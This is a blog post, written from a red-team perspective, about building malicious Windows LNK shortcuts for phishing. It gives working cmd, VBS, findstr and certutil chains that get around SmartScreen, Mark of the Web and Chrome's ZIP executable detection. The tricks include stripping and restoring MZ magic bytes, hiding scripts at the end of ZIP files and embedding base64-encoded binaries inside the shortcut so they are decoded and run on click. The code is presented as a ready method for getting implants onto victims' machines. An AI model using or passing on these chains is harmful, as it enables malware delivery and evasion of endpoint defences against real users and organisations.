Weaponizing LNK files with CMD

jfma
8 min readJan 26, 2023

One of the main problems with Red Team engagements is gaining initial access to the target organisation if no exploitable vulnerabilities are found at the external perimeter.

At this point, the usual approach is to use phishing campaigns to infect employees’ computers with malware.

However, Microsoft has deployed a number of security measures that complicate the task of running a binary in the organization. Throughout the post we will see what these measures are and some ideas to circumvent them.

Smart Screen

The first problem we usually encounter when we start in the world of offensive security is how complicated it is to run an unsigned¹ and/or unusual binary on our victim’s PC.

If we download a binary created by us from the Internet on another PC and try to run it, the following screen will most likely appear:

Thus, although you could end up executing the binary by clicking on “More Info”, it will cause our phishing campaign to end unsuccessfully.

MOTW (Mark Of The Web)

How does Windows know that our file has been downloaded from the Internet? By a feature known as Mark Of The Web (MOTW).

NTFS is the standard file system in Windows and includes a feature known as “Alternate Data Streams” and it is in this data stream that the operating system will write that the file has been downloaded from the Internet.

Retrieved from https://nolongerset.com/mark-of-the-web-details/

This article will not delve into methods for circumventing MOTW as this is not the objective. However, it is worth mentioning the vulnerability patched by Microsoft in October 2022.

As mentioned above, in order to mark a file as downloaded from the Internet you need to be able to write in the Alternate Data Streams of the file its origin.

However, if this file was marked as Read-Only, the operating system could not write to it and mark it as downloaded from the Internet.

Simple as that. UPDATE your OS!

LN…what?

This is where LNK files come into play. An LNK is a Windows shortcut used to run other applications by clicking on it.

As we have already mentioned, if we double-click on a file downloaded from the Internet, the Smart Screen will be our biggest enemy blocking the execution of that file due to its origin, although something as simple as running it from the command line will make this message disappear:

cmd.exe /c binary.exe

Thus, we could create a shortcut targeting the above code and customize it as a PDF by changing the icon.

It would already be, wouldn’t it?

Well, here arises the problem that if you want to run a binary, you have to send a binary. And to run a binary, you have to send a LNK. That is, we need to make a ZIP.

IMPORTANT NOTE: It is possible to send only an LNK that runs Powershell.exe or cmd.exe and downloads and runs our implant from the Internet. However, the use of powershell.exe and direct download from cmd.exe are going to be avoided as they are common suspects in defense systems.

Here another problem arises, if the binary is inside a ZIP, can we execute it?

Well, the behavior of the two main ZIP file handling suites is different, but both share that there is no visibility with the binary even if the Start In property contains the value %cd% (Starts at current path).

In the case of Winrar, running a LNK inside will cause the cmd to run from the directory before the ZIP (our binary would not be available for execution).

In the case of 7-ZIP, the LNK will be extracted to a temporary folder and the CMD will run from there, but the binary will not be extracted.

We need to extract the ZIP file.

Through a VBS script it is possible to extract a ZIP file without a password:

Set a=CreateObject("Shell.Application")
a.NameSpace(CreateObject("WScript.Shell").ExpandEnvironmentStrings("%userprofile%")).CopyHere(a.NameSpace(CreateObject("WScript.Shell").ExpandEnvironmentStrings("%userprofile%")&"\Downloads\test.zip").items):

How do we run that script? Well, the VBS interpreter (cscript.exe) comes natively installed in Windows, but we need to be able to run it.

An initial idea

The echo command is used to send the previous text chunk to the standard output and we can redirect it to a file with the help of the well known “>” redirector.

Thus, the following code would allow us to create an LNK file that extracts the binary from the ZIP and executes it:

cmd.exe /c "echo CreateObject("Shell.Application").NameSpace("%userprofile%").CopyHere(CreateObject("Shell.Application").NameSpace("%userprofile%\Downloads\test.zip").items)>%userprofile%\script.vbs
&cscript %userprofile%\script.vbs
&%userprofile%\binario.exe"

IMPORTANT NOTE: Again, a VBS script could download our binary making the ZIP file unnecesary. Nonetheless, the idea is to circumvent defensive measures that prevents the target machine from connecting through the Internet via cscript.

This time, we finally have an LNK file that executes a Binary “inside” a ZIP.

Another Problem

As mentioned above, our ZIP cannot contain a password because Microsoft does not support the ZipCrypto algorithm in VBS (neither in C#…).

If we send a ZIP without a password, Chrome will be able to identify that our ZIP contains an executable file and will display an alert (according to my tests Edge and Mozilla Firefox do not).

Chrome warning

This would again ruin our phishing.

Are you sure it is an EXE?

After performing several tests, Chrome identifies that the ZIP contains an executable file by its Magic Bytes: MZ

However, an alternative could be to remove these magic bytes, decompress the file, and recreate the executable by adding them back.

In this case the M has been removed from the binary and will be rebuilt with our VBS script:

Set a=CreateObject("Shell.Application")
a.NameSpace(CreateObject("WScript.Shell").ExpandEnvironmentStrings("%userprofile%")).CopyHere(a.NameSpace(CreateObject("WScript.Shell").ExpandEnvironmentStrings("%userprofile%")&"\Downloads\test.zip").items)
Set fso = CreateObject("Scripting.FileSystemObject")
Set BinaryFile = fso.OpenTextFile(CreateObject("WScript.Shell").ExpandEnvironmentStrings("%userprofile%")&"\binario")
Set f = fso.OpenTextFile(CreateObject("WScript.Shell").ExpandEnvironmentStrings("%userprofile%")&"\binario.exe", 2, True)
f.Write("M")
f.Write(BinaryFile.Read(fso.GetFile(CreateObject("WScript.Shell").ExpandEnvironmentStrings("%userprofile%")&"\binario").size))

MAX_PATH

We love problems…. and this one is specially fun.

The main issue with LNKs is that they have the same character limits as Windows paths (260 characters) so, the idea of writing the script inside the target field of the shortcut….becomes unfeasible:

cmd.exe /c Set a=CreateObject("Shell.Application")
a.NameSpace(CreateObject("WScript.Shell").ExpandEnvironmentStrings("%userprofile%")).CopyHere(a.NameSpace(CreateObject("WScript.Shell").ExpandEnvironmentStrings("%userprofile%")&"\Downloads\test.zip").items)
Set fso = CreateObject("Scripting.FileSystemObject")
Set BinaryFile = fso.OpenTextFile(CreateObject("WScript.Shell").ExpandEnvironmentStrings("%userprofile%")&"\binario")
Set f = fso.OpenTextFile(CreateObject("WScript.Shell").ExpandEnvironmentStrings("%userprofile%")&"\binario.exe", 2, True)
f.Write("M")
f.Write(BinaryFile.Read(fso.GetFile(CreateObject("WScript.Shell").ExpandEnvironmentStrings("%userprofile%")&"\binario").size))

ARGS_LIMIT

However, although there is a maximum length in Windows paths, it is not the same as in arguments (4096 in this case).

The following VBS script (can be done in powershell as well) allows you to create a LNK with a maximum of 4096 characters.

   Set objShell = WScript.CreateObject("WScript.Shell")
Set lnk = objShell.CreateShortcut("C:\Users\jfml\Downloads\MyShortcut.LNK")

lnk.TargetPath = "C:\Windows\System32\cmd.exe"
lnk.Arguments = " /c whoami & timeout 5000"
lnk.Description = "Program"
lnk.WindowStyle = "1"
lnk.WorkingDirectory = "C:\Users\jfml\Downloads"
lnk.Save

Move the bar to the right and notice how many spaces there are to the arguments (well over 260 characters)… and it’s fully functional!

Now we could run our entire script and deploy our beacon.

Password-protected Zip

Another option would be to put a password on the ZIP to avoid detection by Magic Bytes.

As mentioned above, Microsoft does not support the ZipCrypto algorithm so we have two options:

  • Implement in VBS the ZipCrypto algorithm and decrypt the files.
  • Using third-party applications such as 7z.

With the following code, 7z will extract an archive with a password:

7z.exe x -pPASSWORD %userprofile%\Downloads\test.zip -y

Thus, we could create an LNK that extracts and executes our ZIP as follows:

cmd.exe "/c cd %userprofile%
&7z.exe x -pPASSWORD %userprofile%\Downloads\test.zip -y
&binario.exe"

However, we would be assuming that our victim has 7Z installed, this is not scalable.

FindStr

At this point I was wondering if our script could be executed without having to be added in the LNK properties…

Findstr command was the answer.

We have a ZIP file and, like every other file, it is possible to write at the end of the format data chunk without affecting the format and corrupting the file. So I did it:

Adding our script to the end of the file
Our code at the end of the file

Now FindStr find its utility by searching the script text with a regex that suits the starting phrase of the script.

I then used our old redirector friend “>” and wrote the output of the command in a file I was about to execute.

Our weaponized LNK code now look gorgeous:

cmd /c "cd %userprofile%

&findstr Set.* %userprofile%\Downloads\test.zip>script.vbs

&cscript script.vbs

&binario.exe"

Certutil

Since we are able to write at the end of a file without corrupting it, we could write the binary inside the LNK itself, recover it with FindStr and execute it.

In order to do that, the binary format must contain printable characters which are impossible to find by default in a binary file, so certutil came to save the day because this utility can do pretty much everything we need.

Through this utility we can:

  • Encode the binary in base64.
  • Add it up to the bottom of LNK file.
  • Recover the script chunk with FindStr.
  • Decode it with its -decode option.
  • And last but not least, EXECUTE IT

Sounds amazing right? Let’s get it on:

Encoding the binary

We add the output to the bottom of the file and search for it with FindStr utility cheking everything is allright:

Recovering our binary with findstr

Finally our LNK would look like:

cmd.exe /c "cd %userprofile%
& findstr .....BEGIN Example.pdf.lnk > b64.txt
& certutil -decode b64.txt binario.exe
& binario.exe"

Getting our desperately wanted implant execution:

For your information, x86matthew embeds a binary into a LNK file and recovers it with a Powershell script in the following article.

¹Assuming that in a Red Team exercise it is not feasible to obtain a valid certificate recognized by Microsoft.

--

--